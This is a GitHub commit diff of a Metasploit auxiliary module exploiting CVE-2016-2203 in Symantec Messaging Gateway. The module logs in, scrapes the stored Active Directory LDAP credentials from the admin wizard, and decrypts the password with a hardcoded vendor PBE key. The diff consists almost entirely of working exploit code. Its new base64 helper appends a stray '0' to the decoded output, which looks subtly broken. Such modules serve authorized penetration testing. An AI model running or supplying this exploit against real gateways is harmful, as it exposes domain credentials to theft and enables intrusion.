Skip to content

Commit 6ae4d15

Browse files
committed
Apply fixes to symantec_brightmail_ldapcreds.rb
1 parent f0d4031 commit 6ae4d15

File tree

1 file changed

+152
-121
lines changed

1 file changed

+152
-121
lines changed

modules/auxiliary/scanner/http/symantec_brightmail_ldapcreds.rb

Lines changed: 152 additions & 121 deletions
Original file line numberDiff line numberDiff line change
@@ -4,31 +4,30 @@
44
##
55

66
require 'msf/core'
7-
require "base64"
87
require 'digest'
98
require "openssl"
109

1110

1211
class MetasploitModule < Msf::Auxiliary
1312

1413
include Msf::Auxiliary::Scanner
15-
include Msf::Auxiliary::Report
1614
include Msf::Exploit::Remote::HttpClient
1715

1816
def initialize(info = {})
1917
super(update_info(info,
20-
'Name' => 'Symantec Messaging Gateway 10 LDAP Creds Graber',
18+
'Name' => 'Symantec Messaging Gateway 10 Exposure of Stored AD Password Vulnerability',
2119
'Description' => %q{
22-
This module will grab the AD account saved in Symantec Messaging Gateway and then decipher it using the disclosed symantec pbe key. Note that authentication is required in order to successfully grab the LDAP credentials, you need at least a read account. Version 10.6.0-7 and earlier are affected
23-
20+
This module will grab the AD account saved in Symantec Messaging Gateway and then
21+
decipher it using the disclosed Symantec PBE key. Note that authentication is required
22+
in order to successfully grab the LDAP credentials, and you need at least a read account.
23+
Version 10.6.0-7 and earlier are affected
2424
},
2525
'References' =>
2626
[
2727
['URL','https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160418_00'],
2828
['CVE','2016-2203'],
2929
['BID','86137']
3030
],
31-
3231
'Author' =>
3332
[
3433
'Fakhir Karim Reda <karim.fakhir[at]gmail.com>'
@@ -40,19 +39,20 @@ def initialize(info = {})
4039
'RPORT' => 443
4140
},
4241
'License' => MSF_LICENSE,
43-
'DisclosureDate' => "Dec 17 2015"
42+
'DisclosureDate' => 'Dec 17 2015'
4443
))
44+
4545
register_options(
4646
[
47-
OptInt.new('TIMEOUT', [true, 'HTTPS connect/read timeout in seconds', 1]),
4847
Opt::RPORT(443),
4948
OptString.new('USERNAME', [true, 'The username to login as']),
50-
OptString.new('PASSWORD', [true, 'The password to login with'])
49+
OptString.new('PASSWORD', [true, 'The password to login with']),
50+
OptString.new('TARGETURI', [true, 'The base path to Symantec Messaging Gateway', '/'])
5151
], self.class)
52+
5253
deregister_options('RHOST')
5354
end
5455

55-
5656
def print_status(msg='')
5757
super("#{peer} - #{msg}")
5858
end
@@ -91,11 +91,11 @@ def report_cred(opts)
9191
end
9292

9393
def auth(username, password, sid, last_login)
94-
# Real JSESSIONID cookie
9594
sid2 = ''
96-
res = send_request_cgi({
95+
96+
res = send_request_cgi!({
9797
'method' => 'POST',
98-
'uri' => '/brightmail/login.do',
98+
'uri' => normalize_uri(target_uri.path, 'brightmail', 'login.do'),
9999
'headers' => {
100100
'Referer' => "https://#{peer}/brightmail/viewLogin.do",
101101
'Connection' => 'keep-alive'
@@ -110,174 +110,205 @@ def auth(username, password, sid, last_login)
110110
'loginBtn' => 'Login'
111111
}
112112
})
113-
if res.body =~ /Logged in/
114-
sid2 = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
113+
114+
if res &&res.body =~ /Logged in/
115+
sid2 = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0]
115116
return sid2
116117
end
117-
if res and res.headers['Location']
118-
mlocation = res.headers['Location']
119-
new_uri = res.headers['Location'].scan(/^http:\/\/[\d\.]+:\d+(\/.+)/).flatten[0]
120-
res = send_request_cgi({
121-
'uri' => new_uri,
122-
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}"
123-
})
124-
sid2 = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
125-
return sid2 if res and res.body =~ /Logged in/
126-
end
127-
return false
118+
119+
nil
128120
end
129121

130122
def get_login_data
131123
sid = '' #From cookie
132124
last_login = '' #A hidden field in the login page
133-
res = send_request_raw({'uri'=>'/brightmail/viewLogin.do'})
134-
if res and !res.get_cookies.empty?
135-
sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
136-
end
125+
126+
res = send_request_raw({
127+
'uri' => normalize_uri(target_uri.path, 'brightmail', 'viewLogin.do')
128+
})
129+
137130
if res
138-
last_login = res.body.scan(/<input type="hidden" name="lastlogin" value="(.+)"\/>/).flatten[0] || ''
131+
last_login = res.get_hidden_inputs.first['lastlogin'] || ''
132+
133+
unless res.get_cookies.empty?
134+
sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
135+
end
139136
end
137+
140138
return sid, last_login
141139
end
142140

141+
143142
# Returns the status of the listening port.
144143
#
145144
# @return [Boolean] TrueClass if port open, otherwise FalseClass.
146-
147145
def port_open?
148146
begin
149-
res = send_request_raw({'method' => 'GET', 'uri' => '/'}, datastore['TIMEOUT'])
147+
res = send_request_raw({
148+
'method' => 'GET',
149+
'uri' => normalize_uri(target_uri.path)
150+
})
151+
150152
return true if res
151153
rescue ::Rex::ConnectionRefused
152-
print_status("#{peer} - Connection refused")
153-
return false
154+
print_status("Connection refused")
154155
rescue ::Rex::ConnectionError
155-
print_error("#{peer} - Connection failed")
156-
return false
156+
print_error("Connection failed")
157157
rescue ::OpenSSL::SSL::SSLError
158-
print_error("#{peer} - SSL/TLS connection error")
159-
return false
158+
print_error("SSL/TLS connection error")
160159
end
160+
161+
false
161162
end
162163

163164
# Returns the derived key from the password, the salt and the iteration count number.
164165
#
165166
# @return Array of byte containing the derived key.
166167
def get_derived_key(password, salt, count)
167168
key = password + salt
169+
168170
for i in 0..count-1
169171
key = Digest::MD5.digest(key)
170172
end
173+
171174
kl = key.length
175+
172176
return key[0,8], key[8,kl]
173177
end
174178

179+
# Returns the decoded Base64 data in RFC-4648 implementation.
180+
# The Rex implementation decoding Base64 is by using unpack("m").
181+
# By default, the "m" directive uses RFC-2045, but if followed by 0,
182+
# it uses RFC-4648, which is the same RFC Base64.strict_decode64 uses.
183+
def strict_decode64(str)
184+
"#{Rex::Text.decode_base64(str)}0"
185+
end
186+
175187

176188
# @Return the deciphered password
177189
# Algorithm obtained by reversing the firmware
178-
#
179190
def decrypt(enc_str)
180-
pbe_key="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"\\{}`~!@#$%^&*()_+-="
181-
salt = (Base64.strict_decode64(enc_str[0,12]))
182-
remsg = (Base64.strict_decode64(enc_str[12,enc_str.length]))
191+
pbe_key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"\\{}`~!@#$%^&*()_+-="
192+
salt = strict_decode64(enc_str[0,12])
193+
remsg = strict_decode64(enc_str[12,enc_str.length])
183194
(dk, iv) = get_derived_key(pbe_key, salt, 1000)
184-
alg = "des-cbc"
195+
alg = 'des-cbc'
196+
185197
decode_cipher = OpenSSL::Cipher::Cipher.new(alg)
186198
decode_cipher.decrypt
187199
decode_cipher.padding = 0
188200
decode_cipher.key = dk
189201
decode_cipher.iv = iv
190202
plain = decode_cipher.update(remsg)
191203
plain << decode_cipher.final
192-
return plain.gsub(/[\x01-\x08]/,'')
204+
205+
plain.gsub(/[\x01-\x08]/,'')
193206
end
194207

195-
def grab_auths(sid,last_login)
196-
token = '' #from hidden input
197-
selected_ldap = '' # from checkbox input
198-
new_uri = '' # redirection
199-
flow_id = '' # id of the flow
200-
folder = '' # symantec folder
201-
res = send_request_cgi({
202-
'method' => 'GET',
203-
'uri' => "/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
204-
'headers' => {
205-
'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
206-
'Connection' => 'keep-alive'
207-
},
208-
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid};"
209-
})
210-
if res
211-
token = res.body.scan(/<input type="hidden" name="symantec.brightmail.key.TOKEN" value="(.+)"\/>/).flatten[0] || ''
212-
selected_ldap = res.body.scan(/<input type="checkbox" value="(.+)" name="selectedLDAP".+\/>/).flatten[0] || ''
213-
else
214-
return false
215-
end
216-
res = send_request_cgi({
217-
'method' => 'POST',
218-
'uri' => "/brightmail/setting/ldap/LdapWizardFlow$edit.flo",
219-
'headers' => {
220-
'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
221-
'Connection' => 'keep-alive'
222-
},
223-
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}; ",
224-
'vars_post' => {
225-
'flowId' => '0',
226-
'userLocale' => '',
227-
'lang' => 'en_US',
228-
'symantec.brightmail.key.TOKEN'=> "#{token}",
229-
'selectedLDAP' => "#{selected_ldap}"
230-
}
231-
})
232-
if res and res.headers['Location']
233-
mlocation = res.headers['Location']
234-
new_uri = res.headers['Location'].scan(/^https:\/\/[\d\.]+(\/.+)/).flatten[0]
235-
flow_id = new_uri.scan(/.*\?flowId=(.+)/).flatten[0]
236-
folder = new_uri.scan(/(.*)\?flowId=.*/).flatten[0]
237-
else
238-
return false
239-
end
240-
res = send_request_cgi({
241-
'method' => 'GET',
242-
'uri' => "#{folder}",
243-
'headers' => {
244-
'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
245-
'Connection' => 'keep-alive'
246-
},
247-
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}; ",
248-
'vars_get' => {
249-
'flowId' => "#{flow_id}",
250-
'userLocale' => '',
251-
'lang' => 'en_US'
252-
}
253-
})
254-
if res and res.code == 200
255-
login = res.body.scan(/<input type="text" name="userName".*value="(.+)"\/>/).flatten[0] || ''
256-
password = res.body.scan(/<input type="password" name="password".*value="(.+)"\/>/).flatten[0] || ''
257-
host = res.body.scan(/<input name="host" id="host" type="text" value="(.+)" class/).flatten[0] || ''
258-
port = res.body.scan(/<input name="port" id="port" type="text" value="(.+)" class/).flatten[0] || ''
259-
password = decrypt(password)
260-
print_good("Found login = '#{login}' password = '#{password}' host ='#{host}' port = '#{port}' ")
261-
report_cred(ip: host, port: port, user:login, password: password, proof: res.code.to_s)
262-
end
208+
209+
def grab_auths(sid,last_login)
210+
token = '' # from hidden input
211+
selected_ldap = '' # from checkbox input
212+
new_uri = '' # redirection
213+
flow_id = '' # id of the flow
214+
folder = '' # symantec folder
215+
216+
res = send_request_cgi({
217+
'method' => 'GET',
218+
'uri' => normalize_uri(target_uri.path, '/brightmail/setting/ldap/LdapWizardFlow$exec.flo'),
219+
'headers' => {
220+
'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
221+
'Connection' => 'keep-alive'
222+
},
223+
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid};"
224+
})
225+
226+
unless res
227+
fail_with(Failure::Unknown, 'Connection timed out while getting token to authenticate.')
228+
end
229+
230+
token = res.get_hidden_inputs.first['symantec.brightmail.key.TOKEN'] || ''
231+
232+
res = send_request_cgi({
233+
'method' => 'POST',
234+
'uri' => normalize_uri(target_uri.path, '/brightmail/setting/ldap/LdapWizardFlow$edit.flo'),
235+
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}; ",
236+
'vars_post' =>
237+
{
238+
'flowId' => '0',
239+
'userLocale' => '',
240+
'lang' => 'en_US',
241+
'symantec.brightmail.key.TOKEN'=> "#{token}"
242+
},
243+
'headers' =>
244+
{
245+
'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
246+
'Connection' => 'keep-alive'
247+
}
248+
})
249+
250+
unless res
251+
fail_with(Failure::Unknown, 'Connection timed out while attempting to authenticate.')
252+
end
253+
254+
if res.headers['Location']
255+
mlocation = res.headers['Location']
256+
new_uri = res.headers['Location'].scan(/^https:\/\/[\d\.]+(\/.+)/).flatten[0]
257+
flow_id = new_uri.scan(/.*\?flowId=(.+)/).flatten[0]
258+
folder = new_uri.scan(/(.*)\?flowId=.*/).flatten[0]
259+
end
260+
261+
res = send_request_cgi({
262+
'method' => 'GET',
263+
'uri' => "#{folder}",
264+
'headers' => {
265+
'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
266+
'Connection' => 'keep-alive'
267+
},
268+
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}; ",
269+
'vars_get' => {
270+
'flowId' => "#{flow_id}",
271+
'userLocale' => '',
272+
'lang' => 'en_US'
273+
}
274+
})
275+
276+
unless res
277+
fail_with(Failure::Unknown, 'Connection timed out while trying to collect credentials.')
278+
end
279+
280+
if res.code == 200
281+
login = res.body.scan(/<input type="text" name="userName".*value="(.+)"\/>/).flatten[0] || ''
282+
password = res.body.scan(/<input type="password" name="password".*value="(.+)"\/>/).flatten[0] || ''
283+
host = res.body.scan(/<input name="host" id="host" type="text" value="(.+)" class/).flatten[0] || ''
284+
port = res.body.scan(/<input name="port" id="port" type="text" value="(.+)" class/).flatten[0] || ''
285+
password = decrypt(password)
286+
print_good("Found login = '#{login}' password = '#{password}' host ='#{host}' port = '#{port}' ")
287+
report_cred(ip: host, port: port, user:login, password: password, proof: res.code.to_s)
288+
end
263289
end
264290

265291
def run_host(ip)
266-
return unless port_open?
292+
unless port_open?
293+
print_status("Port is not open.")
294+
end
295+
267296
sid, last_login = get_login_data
268-
if sid.empty? or last_login.empty?
269-
print_error("#{peer} - Missing required login data. Cannot continue.")
297+
298+
if sid.empty? || last_login.empty?
299+
print_error("Missing required login data. Cannot continue.")
270300
return
271301
end
302+
272303
username = datastore['USERNAME']
273304
password = datastore['PASSWORD']
274305
sid = auth(username, password, sid, last_login)
275-
if not sid
276-
print_error("#{peer} - Unable to login. Cannot continue.")
277-
return
306+
307+
if sid
308+
print_good("Logged in as '#{username}:#{password}' Sid: '#{sid}' LastLogin '#{last_login}'")
309+
grab_auths(sid,last_login)
278310
else
279-
print_good("#{peer} - Logged in as '#{username}:#{password}' Sid: '#{sid}' LastLogin '#{last_login}'")
311+
print_error("Unable to login. Cannot continue.")
280312
end
281-
grab_auths(sid,last_login)
282313
end
283314
end

0 commit comments

Comments
 (0)